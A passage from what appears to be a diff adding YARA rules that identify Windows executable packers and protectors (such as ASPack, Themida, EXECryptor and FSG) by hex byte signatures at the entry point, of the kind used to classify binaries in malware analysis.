+		$0 = {FF 15 ?? ?? ?? 00 B1 22 38 08 74 02 B1 20 40 80 38 00 74 10 38 08 74 06 40 80 38 00 75 F6 80 38 00 74 01 40 33 C9 ?? ?? ?? ?? FF 15}
+	condition:
+		$0 at entrypoint
+}
+rule _PENightMare_v13_
+{
+	meta:
+		description = "PENightMare v1.3"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D B9 ?? ?? ?? ?? 80 31 15 41 81 F9}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v1xx__v2xx_
+{
+	meta:
+		description = "Armadillo v1.xx - v2.xx"
+	strings:
+		$0 = {55 8B EC 53 8B 5D 08 56 8B 75 0C 57 8B 7D 10 85 F6}
+	condition:
+		$0 at entrypoint
+}
+rule _PEncrypt_v10_
+{
+	meta:
+		description = "PEncrypt v1.0"
+	strings:
+		$0 = {60 9C BE 00 10 40 00 8B FE B9 28 03 00 00 BB 78 56 34 12 AD 33 C3 AB E2 FA 9D 61}
+	condition:
+		$0 at entrypoint
+}
+rule _AI1_Creator_1_Beta_2__by_MZ_
+{
+	meta:
+		description = "AI1 Creator 1 Beta 2 - by MZ"
+	strings:
+		$0 = {E8 FE FD FF FF 6A 00 E8 0D 00 00 00 CC FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00}
+	condition:
+		$0
+}
+rule _PEPaCK_v10__C_Copyright_1998_by_ANAKiN_
+{
+	meta:
+		description = "PE-PaCK v1.0 -> (C) Copyright 1998 by ANAKiN"
+	strings:
+		$0 = {C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 0D 0A 20 2D 3D FE 20 50 45 2D 50 41 43 4B 20 76 31 2E 30 20 2D FE 2D 20 28 43 29 20 43 6F 70}
+	condition:
+		$0
+}
+rule _FSG_v110_Eng__dulekxt__MASM32_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (MASM32)"
+	strings:
+		$0 = {EB 01 DB E8 02 00 00 00 86 43 5E 8D 1D D0 75 CF 83 C1 EE 1D 68 50 ?? 8F 83 EB 02 3D 0F 5A}
+	condition:
+		$0 at entrypoint
+}
+rule _Alloy_4x__PGWare_LLC_
+{
+	meta:
+		description = "Alloy 4.x -> PGWare LLC"
+	strings:
+		$0 = {9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 30 40 00 87 DD 6A 04 68 00 10 00 00 68 00 02 00 00 6A 00 FF 95 A8 33 40 00 0B C0 0F 84 F6 01 00 00 89 85 2E 33 40 00 83 BD E8 32 40 00 01 74 0D 83 BD E4 32 40 00 01 74 2A 8B F8 EB 3E 68}
+	condition:
+		$0 at entrypoint
+}
+rule _PCrypt_v351_
+{
+	meta:
+		description = "PCrypt v3.51"
+	strings:
+		$0 = {50 43 52 59 50 54 FF 76 33 2E 35 31 00 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPR_Stripper_v2x_unpacked_
+{
+	meta:
+		description = "ASPR Stripper v2.x unpacked"
+	strings:
+		$0 = {BB ?? ?? ?? ?? E9 ?? ?? ?? ?? 60 9C FC BF ?? ?? ?? ?? B9 ?? ?? ?? ?? F3 AA 9D 61 C3 55 8B EC}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_120_Basic_Edition_LZMA__Ap0x_
+{
+	meta:
+		description = "RLPack 1.20 Basic Edition [LZMA] -> Ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 9C 0C 00 00 EB 0C 8B 85 98 0C 00 00 89 85 9C 0C 00 00 8D B5 C4 0C 00 00 8D 9D 82 04 00 00 33 FF 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 2D 0C 00 00 89 85 94 0C 00 00 E8 59 01 00 00 EB 20 60 8B 85 9C 0C 00 00 FF B5 94 0C 00 00 FF 34 37 01 04 24 FF 74 37 04 01 04 24 FF D3 61 83}
+	condition:
+		$0 at entrypoint
+}
+rule _PolyCrypt_PE__214b215__JLab_Software_Creations_hoep_
+{
+	meta:
+		description = "PolyCrypt PE - 2.1.4b/2.1.5 -> JLab Software Creations (h-oep)"
+	strings:
+		$0 = {91 8B F4 AD FE C9 80 34 08 ?? E2 FA C3 60 E8 ED FF FF FF EB}
+	condition:
+		$0
+}
+rule _MaskPE_V20__yzkzero_
+{
+	meta:
+		description = "MaskPE V2.0 -> yzkzero"
+	strings:
+		$0 = {B8 18 00 00 00 64 8B 18 83 C3 30 C3 40 3E 0F B6 00 C1 E0 ?? 83 C0 ?? 36 01 04 24 C3}
+	condition:
+		$0
+}
+rule _RCryptor_V16d__Vaska_
+{
+	meta:
+		description = "RCryptor V1.6d -> Vaska"
+	strings:
+		$0 = {60 90 61 61 80 7F F0 45 90 60 0F 85 1B 8B 1F FF 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? 90 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3 B8 ?? ?? ?? ?? 90 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+	condition:
+		$0 at entrypoint
+}
+rule _Feokt_
+{
+	meta:
+		description = "Feokt"
+	strings:
+		$0 = {89 25 A8 11 40 00 BF ?? ?? ?? 00 31 C0 B9 ?? ?? ?? 00 29 F9 FC F3 AA ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8}
+	condition:
+		$0 at entrypoint
+}
+rule _UPXHiT_v001__DJ_Siba_
+{
+	meta:
+		description = "UPX$HiT v0.0.1 -> DJ Siba"
+	strings:
+		$0 = {94 BC ?? ?? ?? 00 B9 ?? 00 00 00 80 34 0C ?? E2 FA 94 FF E0 61}
+	condition:
+		$0
+}
+rule _Gamehouse_Media_Protector_Version_Unknown_
+{
+	meta:
+		description = "Gamehouse Media Protector Version Unknown"
+	strings:
+		$0 = {68 ?? ?? ?? ?? 6A 00 FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Private_EXE_Protector_18__SetiSoft_
+{
+	meta:
+		description = "Private EXE Protector 1.8 -> SetiSoft"
+	strings:
+		$0 = {A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 10 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 29 D9 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 11 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 89 E8 B3 01 56 89 FE 29 C6 F3 A4 5E EB 8E 00 D2 75 05 8A 16 46 10 D2 C3 31 C9 41 E8 EE FF FF FF 11 C9 E8 E7 FF FF FF 72 F2 C3 31 FF 31 F6 C3}
+	condition:
+		$0
+}
+rule _Enigma_Protector_11X13X__Sukhov_Vladimir__Serge_N_Markin_
+{
+	meta:
+		description = "Enigma Protector 1.1X-1.3X -> Sukhov Vladimir & Serge N. Markin"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 B8 00 10 40 00 E8 01 00 00 00 9A 83 C4 10 8B E5 5D E9}
+	condition:
+		$0
+}
+rule _SPEC_b2_
+{
+	meta:
+		description = "SPEC b2"
+	strings:
+		$0 = {55 57 51 53 E8 ?? ?? ?? ?? 5D 8B C5 81 ED ?? ?? ?? ?? 2B 85 ?? ?? ?? ?? 83 E8 09 89 85 ?? ?? ?? ?? 0F B6}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v092_
+{
+	meta:
+		description = "PECompact v0.92"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 BD ?? ?? ?? ?? B9 02 ?? ?? ?? B0 90 8D BD A5 4F 40 ?? F3 AA 01 AD 04 51 40 ?? FF B5}
+	condition:
+		$0 at entrypoint
+}
+rule _MZ0oPE_106b__TaskFall_
+{
+	meta:
+		description = "MZ0oPE 1.0.6b --> TaskFall"
+	strings:
+		$0 = {EB CA 89 03 83 C3 04 87 FE 32 C0 AE 75 FD 87 FE 80 3E FF 75 E2 46 5B 83 C3 04 53 8B 1B 80 3F FF 75 C9 8B E5 61 68 ?? ?? ?? ?? C3}
+		$1 = {EB CA 89 03 83 C3 04 87 FE 32 C0 AE 75 FD 87 FE 80 3E FF 75 E2 46 5B 83 C3 04 53 8B 1B 80 3F FF 75 C9 8B E5 61 68 ?? ?? ?? ?? C3 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4C 13 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 8E 02 D2 75 05 8A 16 46 12 D2 C3 33 C9 41 E8 EE FF FF FF 13 C9 E8 E7 FF FF FF 72 F2 C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_01_Pack_Master_10_PEX_Clone__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Pack Master 1.0 (PEX Clone)] --> Anorganix"
+	strings:
+		$0 = {60 E8 01 01 00 00 E8 83 C4 04 E8 01 90 90 90 E9 5D 81 ED D3 22 40 90 E8 04 02 90 90 E8 EB 08 EB 02 CD 20 FF 24 24 9A 66 BE 47 46 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+	condition:
+		$0 at entrypoint
+}
+rule _ExeJoiner_10__Yoda_f2f_
+{
+	meta:
+		description = "ExeJoiner 1.0 -> Yoda f2f"
+	strings:
+		$0 = {68 00 10 40 00 68 04 01 00 00 E8 39 03 00 00 05 00 10 40 00 C6 00 5C 68 04 01 00 00 68 04 11 40 00 6A 00 E8 1A 03 00 00 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 68 04 11 40 00 E8 EC 02 00 00 83 F8 FF 0F 84 83 02 00 00 A3 08 12 40 00 6A 00 50}
+	condition:
+		$0 at entrypoint
+}
+rule _Shrink_v20_
+{
+	meta:
+		description = "Shrink v2.0"
+	strings:
+		$0 = {E9 ?? ?? 50 9C FC BE ?? ?? 8B FE 8C C8 05 ?? ?? 8E C0 06 57 B9}
+	condition:
+		$0 at entrypoint
+}
+rule _EPW_v12_
+{
+	meta:
+		description = "EPW v1.2"
+	strings:
+		$0 = {06 57 1E 56 55 52 51 53 50 2E ?? ?? ?? ?? 8C C0 05 ?? ?? 2E ?? ?? ?? 8E D8 A1 ?? ?? 2E}
+	condition:
+		$0 at entrypoint
+}
+rule _CodeCrypt_v0164_
+{
+	meta:
+		description = "CodeCrypt v0.164"
+	strings:
+		$0 = {E9 2E 03 00 00 EB 02 83 3D 58 EB 02 FF 1D 5B EB 02 0F C7 5F EB 03 FF 1D 34}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v107b_DLL__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASPack v1.07b (DLL) -> Alexey Solodovnikov"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D ?? ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 03 C5}
+	condition:
+		$0 at entrypoint
+}
+rule _KByS_V022__shoooo_
+{
+	meta:
+		description = "KByS V0.22 -> shoooo"
+	strings:
+		$0 = {68 ?? ?? ?? ?? E8 01 00 00 00 C3 C3 11 55 07 8B EC B8 ?? ?? ?? ?? E8}
+	condition:
+		$0 at entrypoint
+}
+rule _BeRoEXEPacker_v100_DLL_LZMA__BeRo__Farbrausch_
+{
+	meta:
+		description = "BeRoEXEPacker v1.00 DLL [LZMA] -> BeRo / Farbrausch"
+	strings:
+		$0 = {83 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B F9 81 FE ?? ?? ?? ?? 7F 10 AC 47 04 18 2C 02 73 F0 29 3E 03 F1 03 F9 EB E8}
+	condition:
+		$0 at entrypoint
+}
+rule _Krypton_v03_
+{
+	meta:
+		description = "Krypton v0.3"
+	strings:
+		$0 = {8B 0C 24 E9 C0 8D 01 ?? C1 3A 6E CA 5D 7E 79 6D B3 64 5A 71 EA}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v120_Eng__dulekxt__MASM32__TASM32_
+{
+	meta:
+		description = "FSG v1.20 (Eng) -> dulek/xt -> (MASM32 / TASM32)"
+	strings:
+		$0 = {33 C2 2C FB 8D 3D 7E 45 B4 80 E8 02 00 00 00 8A 45 58 68 02 ?? 8C 7F EB 02 CD 20 5E 80 C9 16 03 F7 EB 02 40 B0 68 F4 00 00 00 80 F1 2C 5B C1 E9 05 0F B6 C9 8A 16 0F B6 C9 0F BF C7 2A D3 E8 02 00 00 00 99 4C 58 80 EA 53 C1 C9 16 2A D3 E8 02 00 00 00 9D CE}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_239_DLL_compressed_resources_
+{
+	meta:
+		description = "EXECryptor 2.3.9 DLL (compressed resources)"
+	strings:
+		$0 = {50 68 ?? ?? ?? ?? 58 C1 C0 0F E9 ?? ?? ?? 00 87 04 24 58 89 45 FC E9 ?? ?? ?? FF FF 05 ?? ?? ?? ?? E9 ?? ?? ?? 00 C1 C3 18 E9 ?? ?? ?? ?? 8B 55 08 09 42 F8 E9 ?? ?? ?? FF 83 7D F0 01 0F 85 ?? ?? ?? ?? E9 ?? ?? ?? 00 87 34 24 5E 8B 45 FC 33 D2 56 8B F2 E9 ?? ?? ?? 00 BA ?? ?? ?? ?? E8 ?? ?? ?? 00 A3 ?? ?? ?? ?? C3 E9 ?? ?? ?? 00 C3 83 C4 04 C3 E9 ?? ?? ?? FF 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 E8 ?? ?? ?? 00 E9 ?? ?? ?? FF C1 C2 03 81 CA ?? ?? ?? ?? 81 C2 ?? ?? ?? ?? 03 C2 5A E9 ?? ?? ?? FF 81 E7 ?? ?? ?? ?? 81 EF ?? ?? ?? ?? 81 C7 ?? ?? ?? ?? 89 07 E9 ?? ?? ?? ?? 0F 89 ?? ?? ?? ?? 87 14 24 5A 50 C1 C8 10}
+	condition:
+		$0 at entrypoint
+}
+rule _Packanoid_10__ackanoid_
+{
+	meta:
+		description = "Packanoid 1.0 -> ackanoid"
+	strings:
+		$0 = {BF 00 ?? 40 00 BE ?? ?? ?? 00 E8 9D 00 00 00 B8 ?? ?? ?? 00 8B 30 8B 78 04 BB ?? ?? ?? 00 8B 43 04 91 E3 1F 51 FF D6 56 96 8B 13 8B 02 91 E3 0D 52 51 56 FF D7 5A 89 02 83 C2 04 EB EE 83 C3 08 5E EB DB B9 ?? ?? 00 00 BE 00 ?? ?? 00 EB 01 00 BF ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Pohernah_100__by_Kas_
+{
+	meta:
+		description = "Pohernah 1.0.0 - by Kas"
+	strings:
+		$0 = {58 60 E8 00 00 00 00 5D 81 ED 20 25 40 00 8B BD 86 25 40 00 8B 8D 8E 25 40 00 6B C0 05 83 F0 04 89 85 92 25 40 00 83 F9 00 74 2D 81 7F 1C AB 00 00 00 75 1E 8B 77 0C 03 B5 8A 25 40 00 31 C0 3B 47 10 74 0E 50 8B 85 92 25 40 00 30 06 58 40 46 EB ED 83 C7 28 49 EB CE 8B 85 82 25 40 00 89 44 24 1C 61 FF E0}
+	condition:
+		$0 at entrypoint
+}
+rule _ThemidaWinLicense_V1X_NoCompression_SecureEngine__Oreans_Technologies_
+{
+	meta:
+		description = "Themida/WinLicense V1.X NoCompression SecureEngine -> Oreans Technologies"
+	strings:
+		$0 = {8B C5 8B D4 60 E8 00 00 00 00 5D 81 ED ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 0C 8B E8 8B E2 B8 01 00 00 00 C2 0C 00 8B 44 24 24 89 85 ?? ?? ?? ?? 6A 45 E8 A3 00 00 00 68 9A 74 83 07 E8 DF 00 00 00 68 25 4B 89 0A E8 D5 00 00 00 E9 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _Hardlock_dongle_Alladin_
+{
+	meta:
+		description = "Hardlock dongle (Alladin)"
+	strings:
+		$0 = {5C 5C 2E 5C 48 41 52 44 4C 4F 43 4B 2E 56 58 44 00 00 00 00 5C 5C 2E 5C 46 45 6E 74 65 44 65 76}
+	condition:
+		$0 at entrypoint
+}
+rule _Goats_Mutilator_V16__Goat_e0f_
+{
+	meta:
+		description = "Goats Mutilator V1.6 -> Goat/_e0f"
+	strings:
+		$0 = {E8 EA 0B 00 00 ?? ?? ?? 8B 1C 79 F6 63 D8 8D 22 B0 BF F6 49 08 C3 02 BD 3B 6C 29 46 13 28 5D}
+	condition:
+		$0 at entrypoint
+}
+rule _PGMPACK_v014_
+{
+	meta:
+		description = "PGMPACK v0.14"
+	strings:
+		$0 = {1E 17 50 B4 30 CD 21 3C 02 73 ?? B4 4C CD 21 FC BE ?? ?? BF ?? ?? E8 ?? ?? E8 ?? ?? BB ?? ?? BA ?? ?? 8A C3 8B F3}
+	condition:
+		$0 at entrypoint
+}
+rule _PluginToExe_v102__BoB__BobSoft_
+{
+	meta:
+		description = "PluginToExe v1.02 -> BoB / BobSoft"
+	strings:
+		$0 = {E8 00 00 00 00 29 C0 5D 81 ED 32 42 40 00 50 8F 85 DD 40 40 00 50 FF 95 11 42 40 00 89 85 D9 40 40 00 FF 95 0D 42 40 00 50 FF 95 21 42 40 00 80 38 00 74 16 8A 08 80 F9 22 75 07 50 FF 95 25 42 40 00 89 85 E1 40 40 00 EB 6C 6A 01 8F 85 DD 40 40 00 6A 58 6A 40 FF 95 15 42 40 00 89 85 D5 40 40 00 89 C7 68 00 08 00 00 6A 40 FF 95 15 42 40 00 89 47 1C C7 07 58 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_v1250__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium v1.2.5.0 -> Obsidium Software"
+	strings:
+		$0 = {E8 0E 00 00 00 8B 54 24 0C 83 82 B8 00 00 00 0D 33 C0 C3 64 67 FF 36 00 00 64 67 89 26 00 00 50 33 C0 8B 00 C3 E9 FA 00 00 00 E8 D5 FF FF FF 58 64 67 8F 06 00 00 83 C4 04 E8 2B 13 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ID_Application_Protector_12__ID_Security_Suite_
+{
+	meta:
+		description = "ID Application Protector 1.2 -> ID Security Suite"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED F2 0B 47 00 B9 19 22 47 00 81 E9 EA 0E 47 00 89 EA 81 C2 EA 0E 47 00 8D 3A 89 FE 31 C0 E9 D3 02 00 00 CC CC CC CC E9 CA 02 00 00 43 3A 5C 57 69 6E 64 6F 77 73 5C 53 6F 66 74 57 61 72 65 50 72 6F 74 65 63 74 6F 72 5C}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_224__StrongbitSoftComplete_Development_h1_
+{
+	meta:
+		description = "EXECryptor 2.2.4 -> Strongbit/SoftComplete Development (h1)"
+	strings:
+		$0 = {E8 F7 FE FF FF 05 ?? ?? 00 00 FF E0 E8 EB FE FF FF 05 ?? ?? 00 00 FF E0 E8 04 00 00 00 FF FF FF FF 5E C3}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_Shield_v01b__v03b_v03__SMoKE_
+{
+	meta:
+		description = "EXE Shield v0.1b - v0.3b, v0.3 -> SMoKE"
+	strings:
+		$0 = {E8 04 00 00 00 83 60 EB 0C 5D EB 05}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_v20_
+{
+	meta:
+		description = "ASProtect v2.0"
+	strings:
+		$0 = {68 01 ?? 40 00 E8 01 00 00 00 C3 C3}
+	condition:
+		$0
+}
+rule _EXE_Stealth_v272_
+{
+	meta:
+		description = "EXE Stealth v2.72"
+	strings:
+		$0 = {EB 00 EB 2F 53 68 61 72 65 77 61 72 65 20 2D 20}
+	condition:
+		$0 at entrypoint
+}
+rule _WinKript_v10__Mr_Crimson_
+{
+	meta:
+		description = "WinKript v1.0 -> Mr. Crimson"
+	strings:
+		$0 = {33 C0 8B B8 00 ?? ?? ?? 8B 90 04 ?? ?? ?? 85 FF 74 1B 33 C9 50 EB 0C 8A 04 39 C0 C8 04 34 1B 88 04 39 41 3B CA 72 F0 58 83 C0 08 EB D5 61 E9 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _SecureEXE_30__ZipWorx_
+{
+	meta:
+		description = "SecureEXE 3.0 -> ZipWorx"
+	strings:
+		$0 = {E9 B8 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_v032a_fake_PE_Crypt_102__emadicius_
+{
+	meta:
+		description = "[MSLRH] v0.32a (fake PE Crypt 1.02) -> emadicius"
+	strings:
+		$0 = {E8 00 00 00 00 5B 83 EB 05 EB 04 52 4E 44 21 85 C0 73 02 F7 05 50 E8 08 00 00 00 EA FF 58 EB 18 EB 01 0F EB 02 CD 20 EB 03 EA CD 20 58 58 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _eXPressor_v14__CGSoftLabs_
+{
+	meta:
+		description = "eXPressor v1.4 -> CGSoftLabs"
+	strings:
+		$0 = {55 8B EC 83 EC ?? 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 34 2E 2E B8}
+		$1 = {65 58 50 72 2D 76 2E 31 2E 34 2E}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _Elicense_System_V4000__ViaTech_Inc_
+{
+	meta:
+		description = "Elicense System V4.0.0.0 -> ViaTech Inc"
+	strings:
+		$0 = {00 00 00 00 63 79 62 00 65 6C 69 63 65 6E 34 30 2E 64 6C 6C 00 00 00 00}
+	condition:
+		$0
+}
+rule _VOB_ProtectCD_
+{
+	meta:
+		description = "VOB ProtectCD"
+	strings:
+		$0 = {5F 81 EF ?? ?? ?? ?? BE ?? ?? 40 ?? 8B 87 ?? ?? ?? ?? 03 C6 57 56 8C A7 ?? ?? ?? ?? FF 10 89 87 ?? ?? ?? ?? 5E 5F}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v030_beta__Dwing_
+{
+	meta:
+		description = "Upack v0.30 beta -> Dwing"
+	strings:
+		$0 = {E9 ?? ?? ?? ?? 42 79 44 77 69 6E 67 40 00 00 00 50 45 00 00 4C 01 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 30}
+	condition:
+		$0 at entrypoint
+}
+rule _NsPack_30__North_Star_
+{
+	meta:
+		description = "NsPack 3.0 -> North Star"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 07 00 00 00 2B E8 8D B5 ?? ?? FF FF 66 8B 06 66 83 F8 00 74 15 8B F5 8D B5 ?? ?? FF FF 66 8B 06 66 83 F8 01 0F 84 42 02 00 00 C6 06 01 8B D5 2B 95 ?? ?? FF FF 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00 FF 95 ?? ?? FF FF 85 C0 0F 84 6A 03 00 00 89 85 ?? ?? FF FF E8 00 00 00 00 5B B9 68 03 00 00 03 D9 50 53 E8 B1 02 00 00 61 8B 36 8B FD 03 BD ?? ?? FF FF 8B DF 83 3F 00 75 0A 83 C7 04 B9 00 00 00 00 EB 16 B9 01 00 00 00 03 3B 83 C3 04 83 3B 00 74 36}
+	condition:
+		$0 at entrypoint
+}
+rule _MoleBox_v20_
+{
+	meta:
+		description = "MoleBox v2.0"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? 60 E8 4F}
+	condition:
+		$0
+}
+rule _codeCrypter_031__Tibbar_
+{
+	meta:
+		description = "codeCrypter 0.31 -> Tibbar"
+	strings:
+		$0 = {50 58 53 5B 90 BB ?? ?? ?? 00 FF E3 90 CC CC CC 55 8B EC 5D C3 CC CC CC CC CC CC CC CC CC CC CC}
+	condition:
+		$0 at entrypoint
+}
+rule _Anti007_V26__LiuXingPing_
+{
+	meta:
+		description = "Anti007 V2.6 -> LiuXingPing"
+	strings:
+		$0 = {00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 47 65 74 53 79 73 74 65 6D 44 69 72 65 63 74 6F 72 79 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 41 00 00 00 57 72 69 74 65 46 69 6C 65 00 00 00 43 6C 6F 73 65 48 61 6E 64 6C 65 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00}
+	condition:
+		$0
+}
+rule _Stealth_PE_v11_
+{
+	meta:
+		description = "Stealth PE v1.1"
+	strings:
+		$0 = {BA ?? ?? ?? 00 FF E2 BA ?? ?? ?? 00 B8 ?? ?? ?? ?? 89 02 83 C2 03 B8 ?? ?? ?? ?? 89 02 83 C2 FD FF E2}
+	condition:
+		$0 at entrypoint
+}
+rule _ST_Protector_V15__Silent_Software_
+{
+	meta:
+		description = "ST Protector V1.5 -> Silent Software"
+	strings:
+		$0 = {00 00 00 00 4B 65 52 6E 45 6C 33 32 2E 64 4C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00}
+	condition:
+		$0
+}
+rule _EXE_Stealth_v25_
+{
+	meta:
+		description = "EXE Stealth v2.5"
+	strings:
+		$0 = {60 90 EB 22 45 78 65 53 74 65 61 6C 74 68 20 2D 20 77 77 77 2E 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D E8 00 00 00 00 5D 81 ED 40 1E 40 00 B9 99 09 00 00 8D BD 88 1E 40 00 8B F7 AC}
+	condition:
+		$0
+}
+rule _EXECryptor_226_DLL_minimum_protection_
+{
+	meta:
+		description = "EXECryptor 2.2.6 DLL (minimum protection)"
+	strings:
+		$0 = {50 8B C6 87 04 24 68 ?? ?? ?? ?? 5E E9 ?? ?? ?? ?? 85 C8 E9 ?? ?? ?? ?? 81 C3 ?? ?? ?? ?? 0F 81 ?? ?? ?? 00 81 FA ?? ?? ?? ?? 33 D0 E9 ?? ?? ?? 00 0F 8D ?? ?? ?? 00 81 D5 ?? ?? ?? ?? F7 D1 0B 15 ?? ?? ?? ?? C1 C2 ?? 81 C2 ?? ?? ?? ?? 9D E9 ?? ?? ?? ?? C1 E2 ?? C1 E8 ?? 81 EA ?? ?? ?? ?? 13 DA 81 E9 ?? ?? ?? ?? 87 04 24 8B C8 E9 ?? ?? ?? ?? 55 8B EC 83 C4 F8 89 45 FC 8B 45 FC 89 45 F8 8B 45 08 E9 ?? ?? ?? ?? 8B 45 E0 C6 00 00 FF 45 E4 E9 ?? ?? ?? ?? FF 45 E4 E9 ?? ?? ?? 00 F7 D3 0F 81 ?? ?? ?? ?? E9 ?? ?? ?? ?? 87 34 24 5E 8B 45 F4 E8 ?? ?? ?? 00 8B 45 F4 8B E5 5D C3 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_ZCode_101__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [ZCode 1.01] --> Anorganix"
+	strings:
